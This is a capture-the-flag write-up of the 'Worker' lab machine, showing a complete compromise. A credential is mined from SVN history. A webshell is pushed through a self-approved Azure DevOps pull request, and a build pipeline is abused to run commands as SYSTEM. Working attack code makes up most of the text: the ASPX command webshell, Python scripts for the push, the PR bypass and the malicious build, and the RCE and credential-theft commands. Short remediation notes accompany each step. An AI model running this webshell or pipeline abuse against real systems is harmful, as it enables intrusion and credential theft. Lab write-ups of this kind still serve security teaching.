Worker
Summary
I anonymously checked out a Subversion repository on port 3690 and mined its commit history, recovering a hardcoded cleartext credential (nathen's password) from a deleted deployment script and internal virtual-host names from a decommission notice. Those credentials authenticated via NTLM to an on-premises Azure DevOps Server instance.
A direct push to the protected master branch was blocked by branch policy, so I pushed an ASPX webshell to a new feature branch, opened a pull request, and used nathen's own PR-completion rights to auto-merge it into master — triggering the existing Alpha-CI pipeline and deploying the webshell to the IIS site at alpha.worker.htb. The webshell delivered remote code execution as the IIS application pool identity, which was then used to read the SVN server's plaintext password file, exposing credentials for a second, higher-privileged account (robisl's password).
That account had local administrator and WinRM rights, yielding an interactive shell and the user flag. Finally, robisl's Azure DevOps permissions allowed creation of a new build pipeline definition in the PartsUnlimited project; queuing that build caused the on-host Azure DevOps agent — running as NT AUTHORITY\SYSTEM — to execute my own commands and expose the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for robisl>"Some commands also carry a value in angle brackets — <alpha_repo_guid>, <build_id_from_previous_step>, <definition_id_from_previous_step>, <nathen_user_guid> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Version and default-script scan on the three open ports.
$ nmap -sV -sC -p 80,3690,5985 $TARGET -oN worker.nmap
80/tcp open IIS httpd 10.0
3690/tcp open svnserve Subversion
5985/tcp open Microsoft HTTPAPI 2.0Confirm anonymous SVN access and list the repository root contents.
$ svn info svn://$TARGET/ && svn list -v svn://$TARGET/Exact commands 4
Dump the full commit history and list every file added, modified, or deleted across all revisions.
$ svn log -v svn://$TARGET/Retrieve the deleted deployment script at revision 2 — contains nathen:$PASSWORD in cleartext.
$ svn cat -r 2 svn://$TARGET/deploy.ps1Read the decommission notice that reveals the Azure DevOps virtual host.
$ svn cat svn://$TARGET/moved.txtRegister all discovered virtual hosts for local DNS resolution.
$ echo "$TARGET worker.htb devops.worker.htb alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb" | sudo tee -a /etc/hostsFixRequire authentication for SVN access and purge secrets from repository historyCritical
Exact commands 3
Confirm NTLM authentication succeeds and enumerate Azure DevOps projects.
$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0'List Git repositories inside SmartHotel360 to obtain repository GUIDs.
$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories?api-version=5.0'Enumerate build pipeline definitions to identify the auto-deploy pipeline and its target.
$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/build/definitions?api-version=5.0'Exact commands 3
Attempt direct push to master — this returns 403 TF402455, confirming branch policy is in place and a PR bypass is required.
$ git clone http://$USERNAME:$PASSWORD@devops.worker.htb/ekenas/SmartHotel360/_git/alpha alpha-repo && cd alpha-repo && git push origin HEAD:masterPush the ASPX webshell to a new feature branch via the Azure DevOps Git push API. Replace <alpha_repo_guid> with the GUID obtained in step 3.
$ python3 <<EOF
import requests, base64
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>' # from step 3 enumeration
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
shell = b'<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% var p=new Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["c"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+Server.HtmlEncode(p.StandardOutput.ReadToEnd())+"</pre>"); %>'
push_body = {'refUpdates': [{'name': 'refs/heads/feature/status-vzqwd', 'oldObjectId': '0'*40}], 'commits': [{'comment': 'update status', 'changes': [{'changeType': 'add', 'item': {'path': '/cmd.aspx'}, 'newContent': {'content': base64.b64encode(shell).decode(), 'contentType': 'base64Encoded'}}]}]}
resp = requests.post(base + '/pushes?api-version=5.0', json=push_body, auth=auth)
print('Push status:', resp.status_code)
EOFOpen and auto-complete the pull request as nathen. The merge triggers Alpha-CI, which deploys cmd.aspx to alpha.worker.htb.
$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'
NATHEN_ID = '<nathen_user_guid>' # from /_apis/connectionData or profile endpoint
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
pr = requests.post(base + '/pullrequests?api-version=5.0', json={'title': 'Update status page', 'sourceRefName': 'refs/heads/feature/status-vzqwd', 'targetRefName': 'refs/heads/master', 'autoCompleteSetBy': {'id': NATHEN_ID}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth).json()
pr_id = pr['pullRequestId']
requests.patch(base + f'/pullrequests/{pr_id}?api-version=5.0', json={'status': 'completed', 'lastMergeSourceCommit': {'commitId': pr['lastMergeSourceCommit']['commitId']}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth)
print('PR completed, id:', pr_id)
EOFFixPrevent a single account from authoring and completing its own pull requestsHigh
Exact commands 3
Confirm RCE and retrieve the current identity and all group memberships.
$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=whoami+/all'Enumerate network configuration to confirm host identity and network position.
$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=ipconfig+/all'List user home directories to identify accounts present on the host.
$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=dir+C:\\Users'FixPrevent server-side script execution of pipeline-deployed contentHigh
Exact commands 1
Read the SVN plaintext credential store through the webshell — exposes robisl:$PASSWORD2.
$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=type+W:\svnrepos\www\conf\passwd'FixReplace the SVN plaintext password store and restrict access to SVN configuration filesCritical
Exact commands 3
Validate WinRM access and confirm local administrator rights — look for Pwn3d! In the output.
$ nxc winrm $TARGET -d Worker -u robisl -p $PASSWORD2Open an interactive WinRM shell as robisl.
$ evil-winrm -i $TARGET -u robisl -p $PASSWORD2Read the user flag from robisl's Desktop — actual -> <user.txt>
$ type C:\Users\robisl\Desktop\user.txtExact commands 3
Create a build definition in the PartsUnlimited project with a cmd step that reads root.txt. Note the returned definition ID.
$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
defn = {
'name': 'StatusCheck',
'type': 'build',
'quality': 'definition',
'queue': {'name': 'Default'},
'process': {'type': 1, 'phases': [{'steps': [{'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', 'versionSpec': '2.*'}, 'inputs': {'script': 'type C:\\Users\\Administrator\\Desktop\\root.txt', 'workingDirectory': ''}, 'displayName': 'check', 'enabled': True}]}]}
}
result = requests.post(base + '/build/definitions?api-version=6.0', json=defn, auth=auth).json()
print('Definition id:', result.get('id'))
EOFQueue the malicious build. The agent executes it as NT AUTHORITY\SYSTEM.
$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
DEF_ID = '<definition_id_from_previous_step>'
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
build = requests.post(base + '/build/builds?api-version=6.0', json={'definition': {'id': int(DEF_ID)}}, auth=auth).json()
print('Build id:', build.get('id'))
EOFRetrieve build logs after the job finishes — root.txt value (<root.txt>) appears in the PowerShell step output.
$ python3 <<EOF
import requests, time
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
BUILD_ID = '<build_id_from_previous_step>'
time.sleep(30)
base = f'http://devops.worker.htb/ekenas/PartsUnlimited/_apis/build/builds/{BUILD_ID}'
logs = requests.get(base + '/logs?api-version=6.0', auth=auth).json()
for log in logs.get('value', []):
print(requests.get(log['url'], auth=auth).text)
EOFFixRun the Azure DevOps build agent as a least-privilege service account, not SYSTEMCritical
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 3690/tcp | svnserve Subversion |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.